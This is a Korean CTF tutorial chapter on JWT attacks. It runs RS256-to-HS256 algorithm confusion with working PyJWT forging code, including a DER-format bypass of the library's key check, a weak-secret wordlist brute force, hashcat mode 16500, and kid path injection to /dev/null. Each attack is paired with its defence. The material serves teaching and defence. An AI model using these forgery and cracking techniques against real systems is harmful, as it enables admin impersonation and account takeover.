Step 197. JWT 공격 심화 — alg 혼동과 약한 시크릿으로 관리자 되기

Step 197. JWT 공격 심화 — alg 혼동과 약한 시크릿으로 관리자 되기

Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★☆ | 예상 소요 시간 3시간

전제: Step 150(JWT와 비즈니스 로직)을 마쳤다. JWT의 세 덩어리 구조와 alg=none의 개념, PyJWT 기본 사용법을 안다.

  • 준비물: 파이썬 3 + PyJWT + cryptography(python -m pip install pyjwt cryptography). Burp Suite(워게임).
  • ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
  • 합법 연습장 안내: 오늘의 키 생성과 토큰 위조 실험은 전부 여러분 컴퓨터 안에서 끝납니다. PortSwigger Web Security Academy의 JWT 랩은 풀라고 만들어진 합법 플랫폼입니다. 이 두 곳 외에는 오늘의 기술을 쓰지 않습니다.

Step 150에서 우리는 JWT를 해부했고 alg=none과 약한 비밀키의 맛을 봤습니다. 오늘은 한 발 더 들어갑니다. 서버가 비대칭키(RS256) 로 서명하는 정상적인 구성에서도, 검증 코드가 토큰의 alg 헤더를 그대로 믿으면 뚫립니다. 공개키는 이름 그대로 "공개"된 값입니다 — 그 공개키를 대칭키(HMAC 비밀키)인 양 써서 서명하는 alg confusion 공격이 오늘의 주인공입니다.

놀라운 점은, 이 고전 공격을 최신 라이브러리가 이미 막고 있다는 것과, 그래도 뚫린다는 것 둘 다 사실이라는 것입니다. 오늘 실험에서 최신 PyJWT가 어떻게 막는지, 그리고 그 방어가 어디까지인지를 직접 봅니다. 후반부에는 헤더의 kid 파라미터가 왜 주입 지점인지도 정리합니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • HS256(대칭)과 RS256(비대칭)의 키 구조 차이를 설명한다
  • RS256→HS256 alg confusion의 원리를 로컬에서 실측한다
  • 최신 라이브러리의 방어(비대칭키의 HMAC 사용 차단)와 그 우회(키 형식 변환)를 관찰한다
  • 약한 시크릿 브루트포스를 복습하고 hashcat 연계(m16500)를 안다
  • kid 헤더 파라미터 주입의 개념과 방어(alg 고정, kid 검증)를 정리한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 파이썬 3 + PyJWT + cryptography(로컬 랩), PortSwigger Academy + Burp(워게임)
오늘의 명령 rsa.generate_private_key(), jwt.encode/decode, algorithms=[...], hashcat -m 16500(개념)
필요한 개념 HMAC vs RSA 서명, alg 헤더 신뢰 문제, kid 파라미터, 오프라인 크래킹
오늘의 산출물 alg confusion 재현 코드 + 취약/방어 서버 비교 출력 + 공격 3종 방어 표

2-1. 대칭과 비대칭 — 두 종류의 서명

HS256은 대칭키 방식입니다. 서명할 때와 검증할 때 같은 비밀 문자열을 씁니다. 서버 하나가 발급도 검증도 하는 단순한 서비스에 잘 맞습니다.

RS256은 비대칭키 방식입니다. 서명은 개인키로, 검증은 공개키로 합니다. 키가 둘이라 역할을 나눌 수 있습니다 — 인증 서버만 개인키를 갖고, 여러 API 서버는 공개키로 검증만 합니다. 마이크로서비스에서 표준처럼 쓰이는 이유입니다.

핵심 성질: 공개키는 공개돼 있습니다. 엔드포인트(/.well-known/jwks.json)로 배포되는 경우도 흔합니다. "누구나 가질 수 있는 값"이라는 점이 오늘 공격의 재료입니다.

2-2. alg confusion — 검증 알고리즘을 누가 정하는가

취약한 서버의 검증 코드는 이렇게 생겼습니다: "토큰의 alg 헤더를 읽고, 그 알고리즘으로 검증한다." RS256으로만 쓰려던 서버가 검증 시 알고리즘을 고정하지 않은 것입니다.

공격자의 순서:

  1. 서버의 공개키를 구한다 (공개된 값이니 합법적으로 얻을 수 있음)
  2. 헤더를 {"alg":"HS256"}로 바꾼 토큰을 만든다
  3. 서명할 때 HMAC의 "비밀키" 자리에 공개키 문자열을 넣는다
  4. 서버는 헤더대로 HS256으로 검증하는데, 검증키로 쓰는 값이 바로 그 공개키 — 서명과 검증이 같은 값으로 맞아떨어진다

비대칭으로 설계된 시스템이 대칭 검증으로 미끄러지는 순간, "공개된 값 = 비밀키"가 되어 서명의 의미가 사라집니다.

2-3. 라이브러리의 방어와 그 한계

이 공격이 널리 알려지면서 JWT 라이브러리들은 대응을 넣었습니다. 최신 PyJWT는 HMAC 키로 비대칭키(PEM 형식)가 들어오면 오류를 냅니다. 오늘 실측에서 이 메시지를 직접 봅니다.

그런데 이 방어는 "키가 비대칭키 형식으로 보일 때"만 동작합니다. 같은 키를 DER 바이트처럼 다른 형식으로 바꿔 넣으면 검사를 지나칩니다. 진짜 방어는 라이브러리가 아니라 서버 코드의 algorithms=["RS256"] 고정입니다 — 이것도 오늘 실측합니다.

2-4. kid — 헤더 속 또 다른 입력칸

JWT 헤더에는 kid(key ID)라는 필드가 있습니다. "여러 개의 키 중 어느 키로 검증하라"는 선택자입니다. 취약한 서버는 이 값을 파일 경로나 DB 쿼리에 그대로 씁니다. kid../../dev/null 같은 경로로 해석되면, 빈 파일의 내용(빈 문자열)이 검증키가 되어 공격자가 빈 키로 서명한 토큰이 통과합니다. 헤더는 "서버가 읽는 설정"이 아니라 "공격자가 쓰는 입력"이라는 감각이 중요합니다.


3. 따라 하기

3-1. RSA 키쌍과 정상 RS256 토큰

step197_jwt.py를 만듭니다. 서버 역할을 위해 RSA 키쌍을 만들고, 개인키로 서명·공개키로 검증하는 정상 흐름부터 확인합니다.

import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
private_pem = key.private_bytes(
    serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8,
    serialization.NoEncryption(),
)
public_pem = key.public_key().public_bytes(
    serialization.Encoding.PEM,
    serialization.PublicFormat.SubjectPublicKeyInfo,
)
print("공개키 앞 한 줄:", public_pem.decode().splitlines()[0])

token = jwt.encode({"sub": "user", "role": "user"}, private_pem, algorithm="RS256")
print("정상 토큰 검증:", jwt.decode(token, public_pem, algorithms=["RS256"]))

출력 (2026-09-09 실측, PyJWT 2.13 / cryptography 47):

공개키 앞 한 줄: -----BEGIN PUBLIC KEY-----
정상 토큰 검증: {'sub': 'user', 'role': 'user'}

읽는 법: 개인키로 서명하고 공개키로 검증하는 정상 RS256입니다. 이 공개키가 "누구나 구할 수 있는 값"이라는 점을 기억하세요.

3-2. alg confusion — 라이브러리 방어의 실측

공격을 시도합니다. 헤더를 HS256으로 바꾸고, 공개키를 HMAC 비밀키로 씁니다.

# 공격 시도 1: PEM 공개키를 그대로 HMAC 비밀키로
try:
    forged = jwt.encode({"sub": "admin", "role": "admin"}, public_pem, algorithm="HS256")
    print("PEM 공개키로 HS256 서명 성공(라이브러리 방어 없음)")
except jwt.exceptions.InvalidKeyError as e:
    print("PEM 공개키 HS256 시도 -> 라이브러리 차단:", e)

출력 (2026-09-09 실측):

PEM 공개키 HS256 시도 -> 라이브러리 차단: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

읽는 법: 최신 PyJWT가 "이건 비대칭키니까 HMAC 비밀키로 못 씁니다"라고 막았습니다. 라이브러리 차원의 방어가 실제로 존재합니다. 그런데 이 검사는 형식을 보고 합니다. 같은 키를 DER 바이트로 바꿔 봅니다.

# 공격 시도 2: 같은 키를 DER 바이트 형식으로
public_der = key.public_key().public_bytes(
    serialization.Encoding.DER,
    serialization.PublicFormat.SubjectPublicKeyInfo,
)
forged = jwt.encode({"sub": "admin", "role": "admin"}, public_der, algorithm="HS256")
print("DER 바이트 형태 공개키로 HS256 서명 성공 (차단 우회)")

출력 (2026-09-09 실측):

DER 바이트 형태 공개키로 HS256 서명 성공 (차단 우회)

읽는 법: 같은 키인데 형식만 바꿨더니 차단을 지나갔습니다. 라이브러리 방어는 "보조 수단"이고, 진짜 방어는 다음에 나옵니다.

3-3. 취약한 서버와 방어된 서버

위조 토큰을 두 종류의 서버 코드에 넣어 봅니다.

# 취약한 서버: 토큰의 alg 헤더를 그대로 믿고 검증 알고리즘을 둘 다 허용
vulnerable = jwt.decode(forged, public_der, algorithms=["RS256", "HS256"])
print("취약 서버(alg 둘 다 허용)가 받아들인 값:", vulnerable)

# 방어된 서버: 알고리즘을 RS256으로 고정
try:
    jwt.decode(forged, public_pem, algorithms=["RS256"])
except jwt.exceptions.InvalidAlgorithmError as e:
    print("방어 서버(alg 고정):", type(e).__name__, "-", e)

출력 (2026-09-09 실측):

취약 서버(alg 둘 다 허용)가 받아들인 값: {'sub': 'admin', 'role': 'admin'}
방어 서버(alg 고정): InvalidAlgorithmError - The specified alg value is not allowed

읽는 법: 같은 위조 토큰입니다. 알고리즘을 둘 다 허용한 서버는 관리자로 인정했고, RS256으로 고정한 서버는 alg 헤더가 약속과 다르다며 거부했습니다. 취약점의 정체는 암호학이 아니라 algorithms=[...] 한 줄입니다. 방어는 간단합니다 — 검증 시 허용 알고리즘을 설계 의도대로 고정하는 것.

3-4. 약한 시크릿 브루트포스 (Step 150 복습 + 실전 도구)

HS256 세계로 돌아와, 사전 공격을 다시 확인합니다.

SECRET = "superman"
hs_token = jwt.encode({"sub": "user", "role": "user"}, SECRET, algorithm="HS256")

wordlist = ["admin", "password", "secret", "superman", "qwerty", "jwt-secret"]
for i, word in enumerate(wordlist, 1):
    try:
        jwt.decode(hs_token, word, algorithms=["HS256"])
        print(f"{i}번째 시도에서 키 발견: {word!r}")
        break
    except jwt.exceptions.InvalidSignatureError:
        pass

forged2 = jwt.encode({"sub": "admin", "role": "admin"}, word, algorithm="HS256")
print("찾은 키로 위조한 토큰 검증:", jwt.decode(forged2, word, algorithms=["HS256"]))

출력 (2026-09-09 실측):

4번째 시도에서 키 발견: 'superman'
찾은 키로 위조한 토큰 검증: {'sub': 'admin', 'role': 'admin'}

읽는 법: 서버 접속 없이 토큰만으로 키를 찾고, 그 키로 위조까지 했습니다. 실행 중 PyJWT가 InsecureKeyLengthWarning(HMAC 키가 권장 32바이트 미만)을 띄운 것도 확인하세요 — 라이브러리가 "이 키는 브루트포스에 약하다"고 직접 경고하는 것입니다.

실전에서는 파이썬 반복문이 아니라 GPU 크래커를 씁니다. 명령 예시 (출력 예시 — 오늘 환경에서는 실행하지 않음):

hashcat -a 0 -m 16500 jwt.txt wordlist.txt

-m 16500이 JWT(HS256) 전용 모드입니다. 사전은 Step 124에서 본 rockyou.txt 계열이나 JWT 전용 시크릿 목록(jwt-secrets)을 씁니다.

3-5. kid 주입 개념 (출력 예시)

취약한 서버가 kid를 파일 경로로 해석한다고 가정한 개념 실험입니다. 출력 예시:

조작된 헤더: {'alg': 'HS256', 'typ': 'JWT', 'kid': '../../../../dev/null'}
-> kid를 파일 경로로 읽는 서버라면 /dev/null(빈 내용)이 검증키가 되어
   빈 문자열로 서명한 토큰이 통과한다

읽는 법: 헤더 필드는 전부 공격자가 쓸 수 있는 입력입니다. alg를 믿으면 alg confusion, kid를 믿으면 키 선택 주입이 됩니다. 방어는 같은 방향입니다 — 헤더 값을 파일 경로·쿼리에 그대로 쓰지 않고, 허용된 키 목록(화이트리스트)에서만 고르게 하는 것.

3-6. PortSwigger JWT 랩 연결

Academy의 JWT 랩은 오늘 기법의 실전 배치입니다. 진입하면 로그인 후 발급된 내 토큰을 Burp의 JWT 에디터(또는 jwt.io)로 해부하는 것부터 시작합니다. alg=none이 먹히는 랩, 약한 시크릿을 크랙하는 랩, 공개키를 구해 HS256으로 혼동시키는 랩이 각각 있습니다. 수동 변조 시에는 Base64url의 = 패딩이 없다는 점에 주의하세요 — 인코딩/디코딩이 꼬이기 쉬우니 jwt.io의 편집 기능을 적극 활용합니다. 크래킹이 안 되면 사전을 넓히는 것이 정석입니다.


4. 미션과 연습문제

미션 — alg confusion 전 과정 재현과 방어 증명

  1. 3-1~3-3을 재현하고, "PEM 차단 → DER 우회 → 취약 서버 수용 → 방어 서버 거부" 네 장면의 출력을 캡처합니다
  2. 취약 서버 코드(algorithms=["RS256", "HS256"])를 방어 코드(algorithms=["RS256"])로 고쳤을 때 어떤 예외가 나는지 확인합니다
  3. 3-4의 브루트포스에서 사전에 없는 긴 무작위 키(32바이트 이상)로 바꿔, 찾지 못하는 것을 확인하고 InsecureKeyLengthWarning이 사라지는지 관찰합니다
  4. JWT 공격 3종(alg=none, alg confusion, 약한 시크릿)의 방어법을 한 표로 정리합니다
  5. PortSwigger JWT 랩 1개를 해결하고 write-up을 씁니다

연습문제

문제 1. RS256 시스템에서 공개키가 "누구나 가질 수 있는 값"인데도 정상 운용에서는 안전한 이유와, alg confusion에서 그 성질이 어떻게 무기로 뒤집히는지 설명해 보세요.

문제 2. 3-2 실측에서 최신 PyJWT는 PEM 공개키의 HMAC 사용을 차단했지만 DER 형식은 통과했습니다. 이 결과가 말해 주는 "라이브러리 방어의 한계"는 무엇인가요?

문제 3. alg confusion에 대한 진짜 방어가 algorithms=["RS256"] 고정인 이유를 3-3 출력을 근거로 설명해 보세요.

문제 4. JWT 헤더의 kid 파라미터가 왜 공격 표면인가요? 안전한 처리 방법과 함께 설명해 보세요.


5. 모범 답안과 완료 기준

미션 모범 답안

1~2번은 3절 실측 그대로입니다. 2번에서 방어 코드로 바꾸면 InvalidAlgorithmError - The specified alg value is not allowed가 떠야 정상입니다 — 이 예외가 "alg 헤더를 신뢰하지 않았다"는 증거입니다.

3번: 키를 32바이트 이상의 무작위 값(예: os.urandom(32).hex())으로 바꾸면 6개 사전으로는 못 찾고, 키 길이 경고도 사라집니다. "사전에 없고 충분히 긴 키 = 오프라인 크래킹이 현실적으로 불가"가 결론입니다.

4번 정리표 예시:

공격 조건 방어
alg=none 서버가 none 알고리즘 허용 허용 alg 목록에 none 제외 (최신 라이브러리 기본 차단)
alg confusion 검증 시 alg 헤더를 신뢰 algorithms=["RS256"]처럼 알고리즘 고정
약한 시크릿 HS256 키가 사전에 있음 32바이트 이상 무작위 키 + 키 로테이션
kid 주입 kid를 경로/쿼리로 사용 허용 키 ID 화이트리스트

5번 write-up에는 "토큰 원본 / 바꾼 필드 / 사용한 키 / 서버 응답 / 서버가 믿어버린 것"을 적습니다.

연습문제 해답

문제 1 해답. 정상 RS256 운용에서는 서명이 개인키로만 만들어지므로, 공개키를 아는 것으로는 새 서명을 만들 수 없습니다 — 검증만 가능합니다. 그런데 서버가 검증 알고리즘을 HS256으로 바꿔치기당하면, HS256은 "서명=검증 같은 키"인 대칭 방식이라 공개키가 곧 서명 가능한 비밀키가 됩니다. 비대칭의 안전성은 "검증이 비대칭으로 이뤄질 때만" 성립합니다.

문제 2 해답. 라이브러리의 차단은 키의 형식을 인식할 때만 동작하는 휴리스틱입니다. 같은 키라도 DER 등 다른 형식으로 넣으면 검사를 지나가므로, 라이브러리 방어는 실수를 줄여 주는 안전망일 뿐 공격을 막는 경계선이 아닙니다. 최종 방어 책임은 서버 코드의 알고리즘 고정에 있습니다.

문제 3 해답. 3-3 실측에서 같은 위조 토큰이 algorithms=["RS256","HS256"] 서버에는 관리자로 수용되고 ["RS256"] 서버에는 InvalidAlgorithmError로 거부됐습니다. 검증 알고리즘을 고정하면 토큰의 alg 헤더가 아무리 HS256을 가리켜도 그 지시가 무시되므로, 공격의 전제("서버가 내가 정한 알고리즘으로 검증한다") 자체가 성립하지 않습니다.

문제 4 해답. kid는 공격자가 수정 가능한 헤더 필드인데, 서버가 이를 파일 경로나 SQL 쿼리에 연결하면 경로 탐색이나 인젝션으로 이어지고, /dev/null 같은 파일을 가리키면 빈 문자열이 검증키가 되어 빈 키로 서명한 토큰이 통과합니다. 안전한 처리는 kid를 서버가 가진 허용 키 목록의 식별자로만 대조하고, 목록에 없으면 거부하는 것입니다 — 경로나 쿼리 문자열로 사용하지 않습니다.

완료 기준 체크리스트

  • [ ] HS256(대칭)과 RS256(비대칭)의 키 구조 차이를 말할 수 있다
  • [ ] alg confusion을 로컬에서 재현하고 취약/방어 서버의 차이를 봤다
  • [ ] PyJWT의 PEM 차단 메시지와 DER 우회를 실측으로 확인했다
  • [ ] 약한 시크릿 브루트포스와 키 길이 경고의 의미를 안다
  • [ ] hashcat -m 16500이 JWT 크래킹 모드임을 안다
  • [ ] kid 주입의 개념과 화이트리스트 방어를 설명할 수 있다
  • [ ] 미션: 네 장면 캡처 + 공격 3종 방어 표 + PortSwigger 랩 1개

6. 흔한 실수와 해결

벽 1. ModuleNotFoundError: No module named 'cryptography'

원인: RS256을 쓰려면 PyJWT의 암호화 백엔드인 cryptography가 필요합니다.
해결: python -m pip install cryptography (2026-09-09 실측, 47.0.0 설치 확인). HS256만 쓰는 실험은 이 라이브러리 없이도 됩니다.

벽 2. InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

원인 (2026-09-09 실측): PEM 형식 공개키를 HS256 키로 넣었을 때 최신 PyJWT의 차단입니다. 고장이 아니라 방어가 눈에 보인 것입니다.
해결: 3-2처럼 이 메시지를 "라이브러리 방어의 실측"으로 기록하세요. 혼동 공격의 재현은 DER 형식 변환으로 이어갑니다.

벽 3. InvalidAlgorithmError: The specified alg value is not allowed

원인: 토큰의 alg가 algorithms=[...] 목록에 없습니다. alg=none이나 HS256 위조 토큰을 RS256만 허용하는 디코더에 넣으면 이렇게 됩니다.
해결: 거부가 정상이며 방어 성공 장면입니다. 공격 성공 장면을 보려면 허용 목록을 넓힌 "취약한 서버"와 나란히 비교하세요 (3-3).

벽 4. 토큰을 수동으로 고쳤는데 디코딩이 꼬인다

증상 계열 메시지:

binascii.Error: Invalid padding

원인: JWT는 Base64url이라 끝의 = 패딩이 없습니다. 수동 변조 후 패딩 처리가 어긋나면 디코딩이 깨집니다.
해결: s += "=" * (-len(s) % 4)로 패딩을 보정하거나(Step 150), 수동 변조는 jwt.io 편집기에 맡기세요.

벽 5. 브루트포스에서 키를 못 찾는다

원인: 사전에 진짜 키가 없는 것입니다. 실전에서는 흔한 일입니다.
해결: 사전을 넓히세요 — rockyou.txt, JWT 전용 목록(secrets) 순으로. 파이썬 반복문이 느리면 hashcat -m 16500으로 넘기면 됩니다. 그래도 안 나오면 "이 키는 사전 공격에 버틴다"가 그 자체로 유효한 관찰입니다.


7. 정리

오늘의 개념

개념 한 줄 설명
HS256 vs RS256 대칭(같은 키로 서명·검증) vs 비대칭(개인키 서명·공개키 검증)
alg confusion 검증 alg를 HS256으로 미끄러뜨려 공개키를 HMAC 비밀키로 쓰는 공격
라이브러리 방어 PyJWT의 PEM 비대칭키 HMAC 차단 — 형식 인식 기반이라 우회 가능
alg 고정 algorithms=["RS256"] — 헤더의 지시를 무시하는 진짜 방어
kid 주입 키 선택자를 경로/쿼리로 쓰는 서버에 빈 키를 먹이는 공격
오프라인 크래킹 토큰만으로 무한 시도 — hashcat -m 16500
InsecureKeyLengthWarning 키가 32바이트 미만이라는 라이브러리의 경고 — 방어 지표

오늘의 명령어·코드

명령·코드 하는 일
rsa.generate_private_key(...) 실험용 RSA 키쌍 생성
jwt.encode(payload, private_pem, algorithm="RS256") 정상 비대칭 서명
jwt.encode(payload, public_der, algorithm="HS256") alg confusion 위조
jwt.decode(token, 키, algorithms=["RS256"]) 알고리즘 고정 검증 (방어)
사전 반복 + jwt.decode 약한 시크릿 브루트포스
hashcat -a 0 -m 16500 jwt.txt wordlist.txt JWT 전용 GPU 크래킹 (개념)

명령어보다 중요한 감각

JWT를 보면 헤더를 "서버의 설정"이 아니라 "공격자의 입력칸"으로 보세요. alg를 믿으면 혼동되고, kid를 믿으면 키가 바뀝니다. 서명이 비대칭으로 설계됐어도 검증 한 줄이 대칭으로 미끄러지면 전체가 무너집니다. 그리고 라이브러리의 방어 메시지를 만나면 우회법부터 찾지 말고 그 의도를 읽으세요 — InvalidKeyError는 "이 길이 예전에 뚫렸다"는 역사의 기록이고, InsecureKeyLengthWarning은 "이 키는 사전이 있다"는 경고입니다. 예외 메시지가 곧 공격의 지도입니다.


전부 체크되면 Step 197 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.